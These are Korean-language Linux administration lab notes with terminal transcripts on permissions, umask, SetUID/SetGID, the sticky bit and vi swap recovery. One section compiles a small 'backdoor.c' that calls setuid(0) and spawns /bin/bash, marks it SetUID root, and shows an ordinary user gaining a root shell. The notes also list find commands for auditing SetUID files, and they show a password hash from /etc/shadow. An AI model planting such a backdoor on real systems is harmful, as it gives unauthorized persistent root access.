[fedora@linux220 ~]$ mkdir dirtest
[fedora@linux220 ~]$ touch dirtest/test2.txt
[fedora@linux220 ~]$ ls -lR
.:
합계 1
drwxrwxr-x 2 fedora fedora 1024  4월 15 17:27 dirtest

./dirtest:
합계 0
-rw-rw-r-- 1 fedora fedora 0  4월 15 17:27 test2.txt





[터미널2] user01 사용자 터미널

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (4)

login: user01
Password:
Last login: Thu Apr 14 18:36:07 from linux220.example.com
[user01@linux220 ~]$ id
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 ~]$ pwd
/home/user01
[user01@linux220 ~]$ cd ~fedora
-bash: cd: /home/fedora: 허가 거부됨
[user01@linux220 ~]$ cd /home/fedora
-bash: cd: /home/fedora: 허가 거부됨
[user01@linux220 ~]$ id fedora
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[user01@linux220 ~]$ id user01
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 ~]$ cd ~fedora/dirtest
-bash: cd: /home/fedora/dirtest: 허가 거부됨
[user01@linux220 ~]$ rm -f ~fedora/dirtest/test2.txt
rm: cannot remove `/home/fedora/dirtest/test2.txt': 허가 거부됨


[터미널1] fedora 사용자 터미널

[fedora@linux220 ~]$ chmod 757 /home/fedora
[fedora@linux220 ~]$ ls -ld /home/fedora
drwxr-xrwx 4 fedora fedora 1024  4월 15 17:27 /home/fedora
[fedora@linux220 ~]$ chmod 755 dirtest
[fedora@linux220 ~]$ touch dirtest/test3
[fedora@linux220 ~]$ chmod 646 dirtest/test3
[fedora@linux220 ~]$ ls -lR
.:
합계 1
drwxr-xr-x 2 fedora fedora 1024  4월 15 17:33 dirtest

./dirtest:
합계 0
-rw-rw-r-- 1 fedora fedora 0  4월 15 17:27 test2.txt
-rw-r--rw- 1 fedora fedora 0  4월 15 17:33 test3
[fedora@linux220 ~]$ tree
.   //rwxr-xrwx
`-- dirtest  //rwxr-xr-x
    |-- test2.txt //rw-rw-r--
    `-- test3  //rw-r--rw-

1 directory, 2 files



[터미널2] user01 사용자 터미널

[user01@linux220 ~]$ cd ~fedora
[user01@linux220 fedora]$ cd dirtest
[user01@linux220 dirtest]$ rm -f test3
rm: cannot remove `test3': 허가 거부됨
[user01@linux220 dirtest]$ mkdir dirtest1
mkdir: `dirtest1' 디렉토리를 만들 수 없습니다: 허가 거부됨


[터미널1] fedora

[fedora@linux220 ~]$ chmod 757 dirtest
[fedora@linux220 ~]$ ls -lR
.:
합계 1
drwxr-xrwx 2 fedora fedora 1024  4월 15 17:33 dirtest

./dirtest:
합계 0
-rw-rw-r-- 1 fedora fedora 0  4월 15 17:27 test2.txt
-rw-r--rw- 1 fedora fedora 0  4월 15 17:33 test3



[터미널2] user01

[user01@linux220 dirtest]$ id
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 dirtest]$ rm -f test3
[user01@linux220 dirtest]$ touch test4.txt
[user01@linux220 dirtest]$ ls -l
합계 0
-rw-rw-r-- 1 fedora fedora 0  4월 15 17:27 test2.txt
-rw-rw-r-- 1 user01 user01 0  4월 15 17:37 test4.txt



umask 간단한 실습

[root@linux220 /test]# umask
0022
[root@linux220 /test]# touch file1
[root@linux220 /test]# mkdir dir1
[root@linux220 /test]# ls -l
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 17:39 dir1 //644
-rw-r--r-- 1 root root    0  4월 15 17:39 file1 //755

기본 퍼미션(Default Permission) 변경
   파일 디렉토리
Default Permission 666 777
umask   022 022
생성 기본퍼미션  644 755

(666 - 022 = 644)
(777 - 022 = 755)

Default Permission

File Directory
-------------------------------------------
666 777 666 777
022 022 027 027
-------------------------------------------
644 755 640 750


[root@linux220 /test]# umask 002
[root@linux220 /test]# umask
0002
[root@linux220 /test]# touch file2
[root@linux220 /test]# mkdir dir2
[root@linux220 /test]# ls -ld *2
drwxrwxr-x 2 root root 4.0K  4월 15 17:42 dir2 //664
-rw-rw-r-- 1 root root    0  4월 15 17:42 file2 //775


[root@linux220 /test]# umask 027
[root@linux220 /test]# umask
0027
[root@linux220 /test]# touch file3
[root@linux220 /test]# mkdir dir3
[root@linux220 /test]# ls -ld *3
drwxr-x--- 2 root root 4.0K  4월 15 17:43 dir3 //666-027=640
-rw-r----- 1 root root    0  4월 15 17:43 file3 //777-027-740

* umask 변경은 현재 터미널에서만 의미가 있다
전체를 변경하려면 환경파일을 수정해야 한다




etc/bashrc 파일에 등록된 umask 확인
 (관리자) /etc/bashrc
 (사용자) $HOME/.bashrc


[root@linux220 ~]# cat /etc/bashrc
# /etc/bashrc

# System wide functions and aliases
# Environment stuff goes in /etc/profile

# By default, we want this to get set.
# Even for non-interactive, non-login shells.
if [ $UID -gt 99 ] && [ "`id -gn`" = "`id -un`" ]; then
        umask 002
else
        umask 022
fi

# are we an interactive shell?
if [ "$PS1" ]; then
    case $TERM in
        xterm*)
                if [ -e /etc/sysconfig/bash-prompt-xterm ]; then
                        PROMPT_COMMAND=/etc/sysconfig/bash-prompt-xterm
                else
                PROMPT_COMMAND='echo -ne "\033]0;${USER}@${HOSTNAME%%.*}:${PWD/#$HOME/~}"; echo -ne "\007"'
                fi
                ;;
        screen)
                if [ -e /etc/sysconfig/bash-prompt-screen ]; then
                        PROMPT_COMMAND=/etc/sysconfig/bash-prompt-screen
                else
                PROMPT_COMMAND='echo -ne "\033_${USER}@${HOSTNAME%%.*}:${PWD/#$HOME/~}"; echo -ne "\033\\"'
                fi
                ;;
        *)
                [ -e /etc/sysconfig/bash-prompt-default ] && PROMPT_COMMAND=/etc/sysconfig/bash-prompt-default
            ;;
    esac
    # Turn on checkwinsize
    shopt -s checkwinsize
    [ "$PS1" = "\\s-\\v\\\$ " ] && PS1="[\u@\h \W]\\$ "
fi

if ! shopt -q login_shell ; then # We're not a login shell
        # Need to redefine pathmunge, it get's undefined at the end of /etc/profile
    pathmunge () {
                if ! echo $PATH | /bin/egrep -q "(^|:)$1($|:)" ; then
                        if [ "$2" = "after" ] ; then
                                PATH=$PATH:$1
                        else
                                PATH=$1:$PATH
                        fi
                fi
        }

        # Only display echos from profile.d scripts if we are no login shell
    # and interactive - otherwise just process them to set envvars
    for i in /etc/profile.d/*.sh; do
        if [ -r "$i" ]; then
            if [ "$PS1" ]; then
                . $i
            else
                . $i >/dev/null 2>&1
            fi
        fi
    done

        unset i
        unset pathmunge
fi
# vim:ts=4:sw=4


이 부분을 확인하자
if [ $UID -gt 99 ] && [ "`id -gn`" = "`id -un`" ]; then
        umask 002
else
        umask 022
fi


사용자일 경우에 002 //fedora, user01
관리자일 경우에 022 //root

[root@linux220 ~]# echo $UID
0
[root@linux220 ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@linux220 ~]# id -u
0
[root@linux220 ~]# id -un
root
[root@linux220 ~]# id -g
0
[root@linux220 ~]# id -gn
root

[root@linux220 ~]# umask
0022
[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (3)

login: fedora
Password:
Last login: Fri Apr 15 17:25:49 from linux220
[fedora@linux220 ~]$ umask
0002




SetUID 확인
프로그램이 실행될동안 잠시동안 관리자 권한을 준다? 필드에 s로 표시
일반사용자가 관리자권한이 필요할때가 있기 때문에 만들었다

[참고] SetUID와 SetGID를 실행할 수 있는 프로그램
실행 권한(x)이 주어진 프로그램에 setuid 퍼미션이 주어지면 누구에게나 그 프로그램의 소유자처럼 그 프로
그램을 실행할 권한이 주어지고, 또한 어느 누구에게나 그 프로그램의 그룹에 속한 것처럼 할 수 있다. 즉, 실
행 권한(x)을 가진 프로그램이 setuid와 setgid 퍼미션이 주어지면 그 프로그램의 owner나 group으로부터 UID
와 GID를 얻는다. 이는 해당 프로그램이 시작될 때 프로세스로부터 UID와 GID를 상속받는 것과는 다르다.

[참고] SetUID를 가진 파일의 예시
패스워드를 변경할 수 있는 권한을 root의 권한이다. 그렇기에 일반 사용자는 패스워드 권한을 변경할 수 없
다. 일반 사용자도 패스워드를 변경할 때 만큼은 root가 되도록 만들어주어야 한다. 그렇기 위해선
/usr/bin/passwd실행파일의 권한이 root의 SetUID 권한이 부여되어 있으면 된다.

(일반사용자) $ passwd
-> /etc/passwd(user01:x:501:501::/home/user01:/bin/bash)
-> /etc/shadow(user01:$1$D0aOO1Ns$Src3NlrAeQH8YIQwJ44bp1:15911:0:99999:7:::) //암호화된 암호


[root@linux220 ~]# ls -l /usr/bin/passwd /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 1.9K  4월 12 21:58 /etc/passwd
-r-------- 1 root root 1.3K  4월 12 21:58 /etc/shadow
-rwsr-xr-x 1 root root  23K  1월  7  2007 /usr/bin/passwd //s
[root@linux220 ~]# chmod 755 /usr/bin/passwd
[root@linux220 ~]# ls -l /usr/bin/passwd
-rwxr-xr-x 1 root root 23K  1월  7  2007 /usr/bin/passwd //s -> x
[root@linux220 ~]# su - fedora
[fedora@linux220 ~]$ passwd
Changing password for user fedora.
Changing password for fedora
(current) UNIX password:
passwd: Authentication token manipulation error

exit

[root@linux220 ~]# passwd fedora
Changing password for user fedora.
New UNIX password:
BAD PASSWORD: it is based on a dictionary word
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

[root@linux220 ~]# chmod 4755 /usr/bin/passwd
[root@linux220 ~]# ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 23K  1월  7  2007 /usr/bin/passwd




fedora 가 user01 사용자의 권한을 빌리는 경우

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (1)

login: user01
Password:
Last login: Fri Apr 15 17:28:30 from linux220
[user01@linux220 ~]$ chmod 775 /home/user01
[user01@linux220 ~]$ cp /bin/touch /home/user01
[user01@linux220 ~]$ ls -l
합계 43
-rwxr-xr-x 1 user01 user01 42284  4월 15 18:24 touch

[user01@linux220 ~]$ ./touch file1
[user01@linux220 ~]$ ls -l
합계 43
-rw-rw-r-- 1 user01 user01     0  4월 15 18:24 file1
-rwxr-xr-x 1 user01 user01 42284  4월 15 18:24 touch

[user01@linux220 ~]$ chmod 4755 touch
[user01@linux220 ~]$ ls -l
합계 43
-rw-rw-r-- 1 user01 user01     0  4월 15 18:24 file1
-rwsr-xr-x 1 user01 user01 42284  4월 15 18:24 touch
[user01@linux220 ~]$ su - fedora
암호:
[fedora@linux220 ~]$ cd /home/user01
[fedora@linux220 user01]$ touch file2
touch: cannot touch `file2': 허가 거부됨
[fedora@linux220 user01]$ ./touch file2
[fedora@linux220 user01]$ ls -l
합계 43
-rw-rw-r-- 1 user01 user01     0  4월 15 18:24 file1
-rw-rw-r-- 1 user01 fedora     0  4월 15 18:26 file2
-rwsr-xr-x 1 user01 user01 42284  4월 15 18:24 touch

exit

[user01@linux220 ~]$ id
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 ~]$ chmod 2755 touch
[user01@linux220 ~]$ ls -l touch
-rwxr-sr-x 1 user01 user01 42284  4월 15 18:24 touch
[user01@linux220 ~]$ su - fedora
암호:
[fedora@linux220 ~]$ cd /home/user01
[fedora@linux220 user01]$ ./touch file3
[fedora@linux220 user01]$ ls -l
합계 43
-rw-rw-r-- 1 user01 user01     0  4월 15 18:24 file1
-rw-rw-r-- 1 user01 fedora     0  4월 15 18:26 file2
-rw-rw-r-- 1 fedora user01     0  4월 15 18:29 file3
-rwxr-sr-x 1 user01 user01 42284  4월 15 18:24 touch
[fedora@linux220 user01]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)

다시 한번 확인해볼것!!



bash쉘의 SetUID 권한 부여

[터미널1]

[root@linux220 ~]# ls -l /bin/bash
-rwxr-xr-x 1 root root 718K  1월 22  2009 /bin/bash
[root@linux220 ~]# cp /bin/bash /test
[root@linux220 ~]# cd /test
[root@linux220 /test]# ls -l bash
-rwxr-xr-x 1 root root 718K  4월 15 18:31 bash
[root@linux220 /test]# bash
[root@linux220 /test]# ps
  PID TTY          TIME CMD
 6002 pts/1    00:00:00 bash
 6020 pts/1    00:00:00 bash
 6032 pts/1    00:00:00 ps
[root@linux220 /test]# exit
exit
[root@linux220 /test]# ./bash
[root@linux220 /test]# ps
  PID TTY          TIME CMD
 6002 pts/1    00:00:00 bash
 6033 pts/1    00:00:00 bash
 6045 pts/1    00:00:00 ps
[root@linux220 /test]# exit
exit

[root@linux220 /test]# chmod 4755 bash
[root@linux220 /test]# ls -l bash
-rwsr-xr-x 1 root root 718K  4월 15 18:31 bash
[root@linux220 /test]# su - fedora
[fedora@linux220 ~]$ cd /test
[fedora@linux220 test]$ ls -l bash
-rwsr-xr-x 1 root root 735004  4월 15 18:31 bash
[fedora@linux220 test]$ ./bash
bash-3.2$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
bash-3.2$ exit
exit
[fedora@linux220 test]$ exit
logout


[참고] gcc 프로그램 설치가 되어 있지 않으면
# which gcc
# rpm -qa | grep gcc
# yum install gcc (# yum -y install gcc)

[root@linux220 /test]# cd /test
[root@linux220 /test]# vi backdoor.c
--------------------------------------------------------------------
#include <stdio.h>
main()
{
 setuid(0);
 setgid(0);
 system("/bin/bash");
}
--------------------------------------------------------------------

[root@linux220 /test]# gcc -o bashshell backdoor.c
[root@linux220 /test]# ls -l bashshell
-rwxr-xr-x 1 root root 5.1K  4월 15 19:35 bashshell
[root@linux220 /test]# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped
[root@linux220 /test]# file /test/bashshell
/test/bashshell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped


[터미널2] root

[root@linux220 ~]# cd /test
[root@linux220 /test]# chmod 4755 bashshell



[터미널1] fedora

[fedora@linux220 ~]$ cd /test
[fedora@linux220 test]$ ./bashshell
[root@linux220 test]# pwd
/test
[root@linux220 test]# id
uid=0(root) gid=0(root) groups=500(fedora)
[root@linux220 test]# ls -l
합계 748
-rw-r--r-- 1 root root     78  4월 15 19:34 backdoor.c
-rwsr-xr-x 1 root root 735004  4월 15 18:31 bash  //s
-rwsr-xr-x 1 root root   5150  4월 15 19:35 bashshell
drwxr-xr-x 2 root root   4096  4월 15 17:39 dir1
drwxrwxr-x 2 root root   4096  4월 15 17:42 dir2
drwxr-x--- 2 root root   4096  4월 15 17:43 dir3
-rw-r--r-- 1 root root      0  4월 15 17:39 file1
-rw-rw-r-- 1 root root      0  4월 15 17:42 file2
-rw-r----- 1 root root      0  4월 15 17:43 file3

[root@linux220 test]# chmod 755 bash
[root@linux220 test]# ls -l
합계 748
-rw-r--r-- 1 root root     78  4월 15 19:34 backdoor.c
-rwxr-xr-x 1 root root 735004  4월 15 18:31 bash  //s -> x
-rwsr-xr-x 1 root root   5150  4월 15 19:35 bashshell
drwxr-xr-x 2 root root   4096  4월 15 17:39 dir1
drwxrwxr-x 2 root root   4096  4월 15 17:42 dir2
drwxr-x--- 2 root root   4096  4월 15 17:43 dir3
-rw-r--r-- 1 root root      0  4월 15 17:39 file1
-rw-rw-r-- 1 root root      0  4월 15 17:42 file2
-rw-r----- 1 root root      0  4월 15 17:43 file3
[root@linux220 test]# ./bash
[root@linux220 test]# id
uid=0(root) gid=0(root) groups=500(fedora)
[root@linux220 test]# exit
exit
[root@linux220 test]# exit
exit
[fedora@linux220 test]$ exit
logout


[EX] sticky bit로 파일 삭제 권한 제거

[터미널1] user01

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (2)

login: user01
Password:
Last login: Fri Apr 15 18:23:49 from linux220
[user01@linux220 ~]$ id
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 ~]$ pwd
/home/user01
[user01@linux220 ~]$ ps
  PID TTY          TIME CMD
 6473 pts/2    00:00:00 bash
 6496 pts/2    00:00:00 ps
[user01@linux220 ~]$ cd /tmp
[user01@linux220 tmp]$ mkdir stickybit
[user01@linux220 tmp]$ echo 1111 > file10
[user01@linux220 tmp]$ echo 2222 > stickybit/file2
[user01@linux220 tmp]$ ls -l | grep user01
-rw-rw-r-- 1 user01 user01     5  4월 15 19:47 file10
drwxrwxr-x 2 user01 user01  4096  4월 15 19:48 stickybit


[터미널2] fedora

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (4)

login: fedora
Password:
Last login: Fri Apr 15 19:39:35 from linux220
[fedora@linux220 ~]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[fedora@linux220 ~]$ pwd
/home/fedora
[fedora@linux220 ~]$ ps
  PID TTY          TIME CMD
 6519 pts/4    00:00:00 bash
 6542 pts/4    00:00:00 ps
[fedora@linux220 ~]$ cd /tmp
[fedora@linux220 tmp]$ mkdir linux
[fedora@linux220 tmp]$ echo 3333 > file3
[fedora@linux220 tmp]$ echo 4444 > linux/file4
[fedora@linux220 tmp]$ ls -l | grep fedora
-rw-rw-r-- 1 fedora fedora     5  4월 15 19:49 file3
drwxrwxr-x 2 fedora fedora  4096  4월 15 19:49 linux

[fedora@linux220 tmp]$ vi file3
-------------------------------------------------------------------
3333
4444 //편집가능 :wq!
-------------------------------------------------------------------

[fedora@linux220 tmp]$ rm -rf linux
[fedora@linux220 tmp]$ rm file3
[fedora@linux220 tmp]$ ls -l file10
-rw-rw-r-- 1 user01 user01 5  4월 15 19:47 file10
[fedora@linux220 tmp]$ rm file10
rm: remove write-protected 일반 파일 `file10'? y
rm: cannot remove `file10': 명령이 허용되지 않음
[fedora@linux220 tmp]$ mv file10 file2
mv: cannot move `file10' to `file2': 명령이 허용되지 않음
[fedora@linux220 tmp]$ cp file10 file2
[fedora@linux220 tmp]$ ls -l file10 file2
-rw-rw-r-- 1 user01 user01 5  4월 15 19:47 file10
-rw-rw-r-- 1 fedora fedora 5  4월 15 19:52 file2

결론 : 자신이 소유권을 가지지 않은 파일에 대해서는 원본 파일을 수정할 수 있는 명령어는 허용되지 않는다



SetUID/SetGID/Sticky Bit 설정

[root@linux220 ~]# cd /test
[root@linux220 /test]# rm -rf /test/*
[root@linux220 /test]#
[root@linux220 /test]# touch file1
[root@linux220 /test]# mkdir dir1
[root@linux220 /test]#
[root@linux220 /test]# ll
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 19:54 dir1
-rw-r--r-- 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]# chmod 4755 file1
[root@linux220 /test]# ls -l
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 19:54 dir1
-rwsr-xr-x 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]# chmod 2755 file1
[root@linux220 /test]# ll
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 19:54 dir1
-rwxr-sr-x 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]# chmod 6755 file1
[root@linux220 /test]# ll
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 19:54 dir1
-rwsr-sr-x 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]# chmod 1777 dir1
[root@linux220 /test]# ll
합계 4.0K
drwxrwxrwt 2 root root 4.0K  4월 15 19:54 dir1
-rwsr-sr-x 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]#


SetUID/SetGID/Sticky Bit 관리

검색 방법
# find / -perm -4000 -ls   //최소한 4000 = SetUID로 설정되어있는
# find / -perm -2000    //SetGID로 설정되어있는
# find / \( -perm -4000 -o -perm -2000 \) -ls //-a = and, -o = or

[root@linux220 ~]# find / \( -perm -4000 -o -perm -2000 \) -ls
3924568   40 -rwsr-xr-x   1 root     root        38936  1월 20  2010 /bin/umount
3924556   64 -rwsr-xr-x   1 root     root        58324  1월 20  2010 /bin/mount
3924500   40 -rwsr-xr-x   1 root     root        35832  9월 27  2009 /bin/ping
3924501   36 -rwsr-xr-x   1 root     root        31244  9월 27  2009 /bin/ping6
3924535   28 -rwsr-xr-x   1 root     root        23960  3월  1  2010 /bin/su
5756147   80 -rwsr-xr-x   1 root     root        71160  4월  5  2010 /sbin/umount.nfs
5756143   80 -rwsr-xr-x   1 root     root        71156  4월  5  2010 /sbin/mount.nfs
5756144   80 -rwsr-xr-x   1 root     root        71160  4월  5  2010 /sbin/mount.nfs4
5756148   80 -rwsr-xr-x   1 root     root        71160  4월  5  2010 /sbin/umount.nfs4
5756172    8 -rwxr-sr-x   1 root     root         5920  9월 29  2009 /sbin/netreport
5756026   16 -rwsr-xr-x   1 root     root        12248  3월 12  2010 /sbin/pam_timestamp_check
5755950   12 -rwsr-x---   1 root     ecryptfs    12000  9월  4  2009 /sbin/mount.ecryptfs_private
5756027   24 -rwsr-xr-x   1 root     root        19184  3월 12  2010 /sbin/unix_chkpwd
find: /proc/6626/task/6626/fd/4: 그런 파일이나 디렉토리가 없음
find: /proc/6626/task/6626/fd/4: 그런 파일이나 디렉토리가 없음
find: /proc/6626/fd/4: 그런 파일이나 디렉토리가 없음
find: /proc/6626/fd/4: 그런 파일이나 디렉토리가 없음
272240   24 -rwsr-xr-x   1 root     root        18608  9월 22  2009 /usr/bin/rcp
270499   48 -rwsr-xr-x   1 root     root        46972  3월 31  2010 /usr/bin/chage
271802   28 -rwsr-xr-x   1 root     root        24588  3월 31  2010 /usr/bin/newgrp
272064   24 -rwx--s--x   1 root     slocate     23856  9월  4  2009 /usr/bin/locate
278040   84 -r-xr-s--x   1 root     games       78916  2월 27  2009 /usr/bin/gnotravex
278113   20 -rws--x--x   1 root     root        17900  1월 20  2010 /usr/bin/chfn
275168  176 ---s--x--x   2 root     root       170980  3월 31  2010 /usr/bin/sudo
272242   20 -rwsr-xr-x   1 root     root        13108  9월 22  2009 /usr/bin/rlogin
272158   60 -r-xr-s--x   1 root     games       55896  2월 27  2009 /usr/bin/gnotski
273403  316 -rwsr-sr-x   1 root     root       315416  1월  6  2010 /usr/bin/crontab
277937  128 -r-xr-s--x   1 root     games      124484  2월 27  2009 /usr/bin/gnibbles
278285   88 -r-xr-s--x   1 root     games       83256  2월 27  2009 /usr/bin/iagno
274269   48 -rwsr-xr-x   1 root     root        43492  1월 27  2010 /usr/bin/at
275190   72 -r-xr-s--x   1 root     games       67088  2월 27  2009 /usr/bin/gtali
275168  176 ---s--x--x   2 root     root       170980  3월 31  2010 /usr/bin/sudoedit
278196 1852 -rws--x--x   1 root     root      1890660  3월 31  2010 /usr/bin/Xorg
274316   56 -rwsr-xr-x   1 root     root        51512  3월 31  2010 /usr/bin/gpasswd
277374   68 -r-xr-s--x   1 root     games       63856  2월 27  2009 /usr/bin/gataxx
9516964   96 -rwxr-sr-x   1 root     nobody      88984  3월 31  2010 /usr/bin/ssh-agent
264213   16 -rwxr-sr-x   1 root     mail        16020  3월 29  2007 /usr/bin/lockfile
272801   12 -rwxr-sr-x   1 root     tty         10984  1월 20  2010 /usr/bin/write
272243   16 -rwsr-xr-x   1 root     root         8908  9월 22  2009 /usr/bin/rsh
275671   88 -r-xr-s--x   1 root     games       83560  2월 27  2009 /usr/bin/same-gnome
270494   12 -r-xr-sr-x   1 root     tty         10484  1월 21  2009 /usr/bin/wall
272157  124 -r-xr-s--x   1 root     games      122340  2월 27  2009 /usr/bin/gnobots2
278256  108 -r-xr-s--x   1 root     games      103556  2월 27  2009 /usr/bin/mahjongg
270263   24 -rwsr-xr-x   1 root     root        22984  1월  7  2007 /usr/bin/passwd
270378   20 -rws--x--x   1 root     root        19096  1월 20  2010 /usr/bin/chsh
277884  100 -r-xr-s--x   1 root     games       95604  2월 27  2009 /usr/bin/gnomine
278129  100 -r-xr-s--x   1 root     games       95844  2월 27  2009 /usr/bin/glines
277763   20 -rwxr-sr-x   1 root     lock        16616  1월 10  2007 /usr/sbin/lockdev
275046  796 -rwxr-sr-x   1 root     smmsp      806460  3월 31  2010 /usr/sbin/sendmail.sendmail
274847   16 -r-s--x---   1 root     apache      11544  4월  5  2010 /usr/sbin/suexec
274623   12 -rwsr-xr-x   1 root     root         6820  9월 29  2009 /usr/sbin/usernetctl
1340992   12 -rwsr-xr-x   1 root     root         6728  9월 20  2009 /usr/sbin/userisdnctl
275511   12 -rwsr-xr-x   1 root     root         6240  1월  6  2007 /usr/sbin/ccreds_validate
273155   36 -rws--x--x   1 root     root        32780  2월 27  2009 /usr/sbin/userhelper
591475    8 -rwx--s--x   1 root     utmp         6652  2월 27  2009 /usr/libexec/utempter/utempter
852416  184 -rwsr-xr-x   1 root     root       176732  3월 31  2010 /usr/libexec/openssh/ssh-keysign
687332  176 -rwsr-xr-x   1 root     root       169760  1월 13  2010 /usr/kerberos/bin/ksu
687532   20 -rwsr-x---   1 root     squid       17580  3월 31  2010 /usr/lib/squid/ncsa_auth
688500   16 -rwsr-x---   1 root     squid       15448  3월 31  2010 /usr/lib/squid/pam_auth
818185   68 -rwsr-xr-x   1 root     root        61452  3월 31  2010 /usr/lib/nspluginwrapper/plugin-config
459222   16 -r-sr-xr-x   1 root     root        14320  4월 12 05:00 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
1504600   12 -r-sr-xr-x   1 root     root         9532  4월 12 05:00 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
785829   16 -rwx--s--x   1 root     utmp        12384  3월 15  2007 /usr/lib/vte/gnome-pty-helper
492813  168 -r-sr-x---   1 uucp     news       162764  1월 27  2010 /usr/lib/news/bin/rnews
492826   48 -r-sr-x---   1 root     news        41848  1월 27  2010 /usr/lib/news/bin/startinnfeed
492784   52 -r-sr-x---   1 root     news        45996  1월 27  2010 /usr/lib/news/bin/inndstart
 34689   43 -rwxr-sr-x   1 user01   user01      42284  4월 15 18:24 /home/user01/touch
7457995   48 -rwsr-x---   1 root     dbus        45148  3월 31  2010 /lib/dbus-1/dbus-daemon-launch-helper


[root@linux220 ~]# find / \( -perm -4000 -a -perm -2000 \) -ls
find: /proc/6629/task/6629/fd/4: 그런 파일이나 디렉토리가 없음
find: /proc/6629/fd/4: 그런 파일이나 디렉토리가 없음
273403  316 -rwsr-sr-x   1 root     root       315416  1월  6  2010 /usr/bin/crontab



목록화 하는 방법
# fine / \( -perm -4000 -o -perm -2000 \) > setuid.txt
# fine / \( -perm -4000 -o -perm -2000 \) | wc -l > setuid.txt
# diff setuid.txt setuid.old.txt

diff CMD
[root@linux220 ~]# cd /test
[root@linux220 /test]# rm -rf /test/*
[root@linux220 /test]# vi file1
[root@linux220 /test]# cp file1 file2
[root@linux220 /test]# vi file2
[root@linux220 /test]# cat file1
/bin/ls
/bin/cat
/bin/vi
[root@linux220 /test]# cat file2
/bin/ls
/bin/cat
/bin/vi
/bin/passwd
[root@linux220 /test]# diff file1 file2
3a4
> /bin/passwd    //다른부분 출력해줌

[root@linux220 /test]# vi file2
[root@linux220 /test]# cat file2
/bin/ls
/bin/cat
/bin/vi
[root@linux220 /test]# diff file1 file2 //동일하면 아무출력값 없음


특수퍼미션 관리 기법
* 관리자만 암호를 변경할 수 있고, 사용자는 암호를 변경할 수 없다.
# chmod 755 /usr/bin/passwd //SetUID 비트를 제거한다, 사용자는 패스워드 변경 불가

* '0(Zero) day attack'을 임시적으로 방어하기 위해서
0(Zero) day attack 이란?
버그가 발생된 시점에서 부터 벤더가 패치를 내놓는다
하지만 벤더가 패치를 내놓기전에 공격하는것을 제로데이어택이라고 한다



vi 편집기(Visual Editor)

log 파일을 열어볼때 log 파일은 수정, 손상이 되면 안된다
# vi -R /var/log/messages
# view /var/log/messages

# alias messages='view /var/log/messages'

비정상적으로 종료되었을때 복구용파일이 생성됨 *.swp

[root@linux220 ~]# vi -L
스왑 파일을 찾았음:
   현재 자료방에:
      -- 없음 --
   In directory ~/tmp:
      -- 없음 --
   In directory /var/tmp:
      -- 없음 --
   In directory /tmp:
      -- 없음 --

# vi -r filename
Recovery, 이전 vi 편집 작업 중 비정상적으로 작업이 끝난 경우
편집하던 파일 복구시에 사용된다.
이 경우 사용자의 메일로 복구할 파일에 대한 정보가 오게된다.


파일을 작성하다가 터미널창을 닫아버림(=비정상적인 종료)

[root@linux220 ~]# vi -L
스왑 파일을 찾았음:
   현재 자료방에:
      -- 없음 --
   In directory ~/tmp:
      -- 없음 --
   In directory /var/tmp:
1.    .file1.swp
          소유자: root   날짜: Fri Apr 15 20:56:09 2016
         파일 이름: /var/tmp/file1
          수정: 예
         사용자 이름: root  호스트 이름: linux220.example.com
        프로세스 ID: 6752
   In directory /tmp:
      -- 없음 --


터미널을 다시 실행시켜서
# cd /var/tmp
# vi file1

E325: 주목
Found a swap file by the name ".file1.swp"
          소유자: root   날짜: Fri Apr 15 20:56:09 2016
         파일 이름: /var/tmp/file1
          수정: 예
         사용자 이름: root  호스트 이름: linux220.example.com
        프로세스 ID: 6752
While opening file "file1"
             날짜: Fri Apr 15 20:55:55 2016

(1) 다른 프로그램이 같은 파일을 고치고 있는중일 수 있습니다.
